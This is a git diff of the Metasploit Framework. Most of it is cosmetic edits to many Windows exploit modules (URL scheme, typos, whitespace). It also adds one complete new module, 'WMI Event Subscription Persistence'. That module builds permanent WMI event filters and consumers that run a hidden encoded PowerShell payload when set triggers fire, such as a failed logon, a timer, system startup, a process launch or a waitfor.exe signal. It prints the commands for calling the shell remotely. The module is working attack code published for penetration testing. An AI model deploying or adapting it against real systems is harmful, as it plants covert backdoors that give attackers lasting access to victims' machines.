         This module will login with the specified username/password and execute the
         supplied command as a hidden process. Output is not returned by default.
-        Unless targetting a local user either set the DOMAIN, or specify a UPN user
+        Unless targeting a local user either set the DOMAIN, or specify a UPN user
         format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
 
         A custom command line can be sent instead of uploading an executable.
diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb
index edb51ec395..e5178e2806 100644
--- a/modules/exploits/windows/local/s4u_persistence.rb
+++ b/modules/exploits/windows/local/s4u_persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -135,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Local
       fail_with(Failure::Unknown, "Could not upload to #{path}")
     end
 
-    print_status("Successfully uploaded remote executable to #{path}")
+    print_good("Successfully Uploaded remote executable to #{path}")
   end
 
   ##############################################################
@@ -302,7 +302,7 @@ class MetasploitModule < Msf::Exploit::Local
       delete_file(rexe_path)
       fail_with(Failure::Unknown, "Issues writing XML to #{path}")
     end
-    print_status("Successfully wrote XML file to #{path}")
+    print_good("Successfully wrote XML file to #{path}")
   end
 
   ##############################################################
diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb
index 342f586517..2604dbe208 100644
--- a/modules/exploits/windows/local/service_permissions.rb
+++ b/modules/exploits/windows/local/service_permissions.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb
index 63453c3365..9ea8367d85 100644
--- a/modules/exploits/windows/local/trusted_service_path.rb
+++ b/modules/exploits/windows/local/trusted_service_path.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -123,5 +123,4 @@ class MetasploitModule < Msf::Exploit::Local
     print_status("Launching service #{svr_name}...")
     service_restart(svr_name)
   end
-
 end
diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb
index 420422a1c4..04bcf87b12 100644
--- a/modules/exploits/windows/local/virtual_box_guest_additions.rb
+++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/local/windows_kernel'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = AverageRanking
 
@@ -201,6 +202,5 @@ class MetasploitModule < Msf::Exploit::Local
     end
 
   end
-
 end
 
diff --git a/modules/exploits/windows/local/virtual_box_opengl_escape.rb b/modules/exploits/windows/local/virtual_box_opengl_escape.rb
index 63d017ef2c..e3ff6051ab 100644
--- a/modules/exploits/windows/local/virtual_box_opengl_escape.rb
+++ b/modules/exploits/windows/local/virtual_box_opengl_escape.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Local
         vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
         sequence of specially crafted rendering messages, a virtual machine can exploit an out
         of bounds array access to corrupt memory and escape to the host. This module has been
-        tested successfully on Windows 7 SP1 (64 bits) as Host running  Virtual Box 4.3.6.
+        tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -353,7 +353,6 @@ class MetasploitModule < Msf::Exploit::Local
       session.railgun.kernel32.CloseHandle(@handle)
     end
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb
index 616f4d2656..1a7816d951 100644
--- a/modules/exploits/windows/local/vss_persistence.rb
+++ b/modules/exploits/windows/local/vss_persistence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -190,5 +190,4 @@ class MetasploitModule < Msf::Exploit::Local
     file_local_write(clean_rc, @clean_up)
     print_status("Cleanup Meterpreter RC File: #{clean_rc}")
   end
-
 end
diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index 90ae0bbbcb..e013678ec6 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/powershell'
+
 class MetasploitModule < Msf::Exploit::Local
   Rank = ExcellentRanking
 
@@ -155,6 +156,5 @@ class MetasploitModule < Msf::Exploit::Local
     end
     return array
   end
-
 end
 
diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb
new file mode 100644
index 0000000000..bf28f0ed4f
--- /dev/null
+++ b/modules/exploits/windows/local/wmi_persistence.rb
@@ -0,0 +1,235 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/exploit/powershell'
+require 'msf/core/post/windows/powershell'
+require 'msf/core/post/file'
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = NormalRanking
+
+  include Msf::Post::Windows::Powershell
+  include Msf::Exploit::Powershell
+  include Post::Windows::Priv
+  include Msf::Post::File
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'             => 'WMI Event Subscription Persistence',
+      'Description'      => %q{
+          This module will create a permanent WMI event subscription to achieve file-less persistence using one
+          of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
+          (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
+          must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
+          /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
+          The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
+          method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
+          method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
+          creates an event filter that utilizes the Microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
+          before executing the payload. The signal can be sent from a windows host on a LAN utilizing the waitfor.exe command
+          (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
+          activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
+          high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
+        },
+      'Author'           => ['Nick Tyrer <@NickTyrer>'],
+      'License'          => MSF_LICENSE,
+      'Privileged'       => true,
+      'Platform'         => 'win',
+      'SessionTypes'  => ['meterpreter'],
+      'Targets'       => [['Windows', {}]],
+      'DisclosureDate' => 'Jun 6 2017',
+      'DefaultTarget'    => 0,
+      'DefaultOptions' =>
+        {
+          'DisablePayloadHandler' => 'true'
+        },
+      'References' => [
+        ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
+        ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
+      ]
+    ))
+
+    register_options([
+      OptEnum.new('PERSISTENCE_METHOD',
+        [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
+      OptInt.new('EVENT_ID_TRIGGER',
+        [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
+      OptString.new('USERNAME_TRIGGER',
+        [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
+      OptString.new('PROCESS_TRIGGER',
+        [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
+      OptString.new('WAITFOR_TRIGGER',
+        [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
+      OptInt.new('CALLBACK_INTERVAL',
+        [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
+      OptString.new('CLASSNAME',
+        [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
+    ])
+
+    register_advanced_options(
+      [
+        OptString.new('CUSTOM_PS_COMMAND',
+        [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
+    ])
+  end
+
+
+  def exploit
+   unless have_powershell?
+      print_error("This module requires powershell to run")
+      return
+   end
+
+   unless is_admin?
+      print_error("This module requires admin privs to run")
+      return
+   end
+
+   unless is_high_integrity?
+      print_error("This module requires UAC to be bypassed first")
+      return
+   end
+
+   if is_system?
+      print_error("This module cannot run as System")
+      return
+   end
+
+   host = session.session_host
+   print_status('Installing Persistence...')
+
+   case datastore['PERSISTENCE_METHOD']
+    when 'LOGON'
+      psh_exec(subscription_logon)
+      print_good "Persistence installed!"
+      remove_persistence
+    when 'INTERVAL'
+      psh_exec(subscription_interval)
+      print_good "Persistence installed!"
+      remove_persistence
+    when 'EVENT'
+      psh_exec(subscription_event)
+      print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
+      remove_persistence
+    when 'PROCESS'
+      psh_exec(subscription_process)
+      print_good "Persistence installed!"
+      remove_persistence
+    when 'WAITFOR'
+      psh_exec(subscription_waitfor)
+      print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\""
+      remove_persistence
+    end
+   end
+
+
+  def build_payload
+    if datastore['CUSTOM_PS_COMMAND']
+      script_in = datastore['CUSTOM_PS_COMMAND']
+      compressed_script = compress_script(script_in, eof = nil)
+      encoded_script = encode_script(compressed_script, eof = nil)
+      generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
+    else
+      cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
+    end
+  end
+
+
+  def subscription_logon
+   command = build_payload
+   class_name = datastore['CLASSNAME']
+   <<-HEREDOC
+    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
+    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
+    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
+   HEREDOC
+  end
+
+
+  def subscription_interval
+   command = build_payload
+   class_name = datastore['CLASSNAME']
+   callback_interval = datastore['CALLBACK_INTERVAL']
+   <<-HEREDOC
+    $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
+    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
+    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
+    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
+   HEREDOC
+  end
+
+
+  def subscription_event
+   command = build_payload
+   event_id = datastore['EVENT_ID_TRIGGER']
+   username = datastore['USERNAME_TRIGGER']
+   class_name = datastore['CLASSNAME']
+   <<-HEREDOC
+    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
+    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
+    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
+   HEREDOC
+  end
+
+
+  def subscription_process
+   command = build_payload
+   class_name = datastore['CLASSNAME']
+   process_name = datastore['PROCESS_TRIGGER']
+   <<-HEREDOC
+    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
+    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
+    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
+   HEREDOC
+  end
+
+
+  def subscription_waitfor
+   command = build_payload
+   word = datastore['WAITFOR_TRIGGER']
+   class_name = datastore['CLASSNAME']
+   <<-HEREDOC
+    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
+    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
+    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
+    $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
+    $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
+    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
+    Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
+   HEREDOC
+  end
+
+
+  def log_file
+    host = session.session_host
+    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
+    logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
+    Rex::FileUtils.clean_path(host + filenameinfo))
+    ::FileUtils.mkdir_p(logs)
+    logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
+  end
+
+
+  def remove_persistence
+    name_class = datastore['CLASSNAME']
+    clean_rc = log_file
+      if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
+        clean_up_rc = ""
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
+      else
+        clean_up_rc = ""
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
+        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
+      end
+    file_local_write(clean_rc, clean_up_rc)
+    print_status("Clean up Meterpreter RC file: #{clean_rc}")
+  end
+end
diff --git a/modules/exploits/windows/lotus/domino_http_accept_language.rb b/modules/exploits/windows/lotus/domino_http_accept_language.rb
index 52603ee01e..4e9f00d9e4 100644
--- a/modules/exploits/windows/lotus/domino_http_accept_language.rb
+++ b/modules/exploits/windows/lotus/domino_http_accept_language.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb
index cf99b761aa..b4c75c4b8c 100644
--- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb
+++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb
index 73c74abd1e..18b58de464 100644
--- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb
+++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
diff --git a/modules/exploits/windows/lotus/lotusnotes_lzh.rb b/modules/exploits/windows/lotus/lotusnotes_lzh.rb
index ed4dd82af8..7bd12405b5 100644
--- a/modules/exploits/windows/lotus/lotusnotes_lzh.rb
+++ b/modules/exploits/windows/lotus/lotusnotes_lzh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/lpd/hummingbird_exceed.rb b/modules/exploits/windows/lpd/hummingbird_exceed.rb
index 28b92a39c5..491a26b72e 100644
--- a/modules/exploits/windows/lpd/hummingbird_exceed.rb
+++ b/modules/exploits/windows/lpd/hummingbird_exceed.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,5 +62,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/lpd/niprint.rb b/modules/exploits/windows/lpd/niprint.rb
index ded97806d9..e414ceb89b 100644
--- a/modules/exploits/windows/lpd/niprint.rb
+++ b/modules/exploits/windows/lpd/niprint.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,5 +62,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/lpd/saplpd.rb b/modules/exploits/windows/lpd/saplpd.rb
index 263b24e74f..9847d73c4c 100644
--- a/modules/exploits/windows/lpd/saplpd.rb
+++ b/modules/exploits/windows/lpd/saplpd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/lpd/wincomlpd_admin.rb b/modules/exploits/windows/lpd/wincomlpd_admin.rb
index 1d5cb12dc2..3ff96f380f 100644
--- a/modules/exploits/windows/lpd/wincomlpd_admin.rb
+++ b/modules/exploits/windows/lpd/wincomlpd_admin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
         By sending an overly long authentication packet to the remote
-        adminstration service, an attacker may be able to execute arbitrary
+        administration service, an attacker may be able to execute arbitrary
         code.
       },
       'Author'         => 'MC',
diff --git a/modules/exploits/windows/misc/achat_bof.rb b/modules/exploits/windows/misc/achat_bof.rb
index aec1c13ce7..c3d45cf48d 100644
--- a/modules/exploits/windows/misc/achat_bof.rb
+++ b/modules/exploits/windows/misc/achat_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,5 +125,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/misc/actfax_raw_server_bof.rb b/modules/exploits/windows/misc/actfax_raw_server_bof.rb
index fbd81799cc..f93b954a5f 100644
--- a/modules/exploits/windows/misc/actfax_raw_server_bof.rb
+++ b/modules/exploits/windows/misc/actfax_raw_server_bof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = NormalRanking
 
   include Msf::Exploit::Remote::Tcp
diff --git a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb
index 5911d441e1..481fd4460b 100644
--- a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb
+++ b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -131,5 +131,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb
index 4f5f7a6a42..e38ec9cb95 100644
--- a/modules/exploits/windows/misc/allmediaserver_bof.rb
+++ b/modules/exploits/windows/misc/allmediaserver_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         is caused due to a boundary error within the handling of HTTP request.
 
         While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
-        reliable across virtual (VMWare, VirtualBox) and physical  environments. Because of
+        reliable across virtual (VMWare, VirtualBox) and physical environments. Because of
         this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
         DEP is OptIn and AllMediaServer won't run with DEP.
       },
diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb
index 44ec6fdf61..a052eb787f 100644
--- a/modules/exploits/windows/misc/altiris_ds_sqli.rb
+++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -195,5 +195,4 @@ Processor-Speed=#{processor_speed}
     client.fs.file.rm(win_file)
     print_good("Deleted #{win_file}")
   end
-
 end
diff --git a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb
index 61eaa22dcd..4951f80638 100644
--- a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb
+++ b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
index d90b94187a..9092e09f48 100644
--- a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
+++ b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -60,5 +60,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
index b33f78a112..f0de87ce56 100644
--- a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
+++ b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -132,5 +132,4 @@ class MetasploitModule < Msf::Exploit::Remote
     udp_sock.put(request)
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/misc/avidphoneticindexer.rb b/modules/exploits/windows/misc/avidphoneticindexer.rb
index e215d34e58..eb4791a6e0 100644
--- a/modules/exploits/windows/misc/avidphoneticindexer.rb
+++ b/modules/exploits/windows/misc/avidphoneticindexer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,5 +105,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb
index 8c6f5feed9..11496b12f3 100644
--- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb
+++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb
@@ -1,11 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -151,5 +148,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def wfs_delay
     5
   end
-
 end
diff --git a/modules/exploits/windows/misc/bcaaa_bof.rb b/modules/exploits/windows/misc/bcaaa_bof.rb
index 4f0c0d728c..ea8bb02ed2 100644
--- a/modules/exploits/windows/misc/bcaaa_bof.rb
+++ b/modules/exploits/windows/misc/bcaaa_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
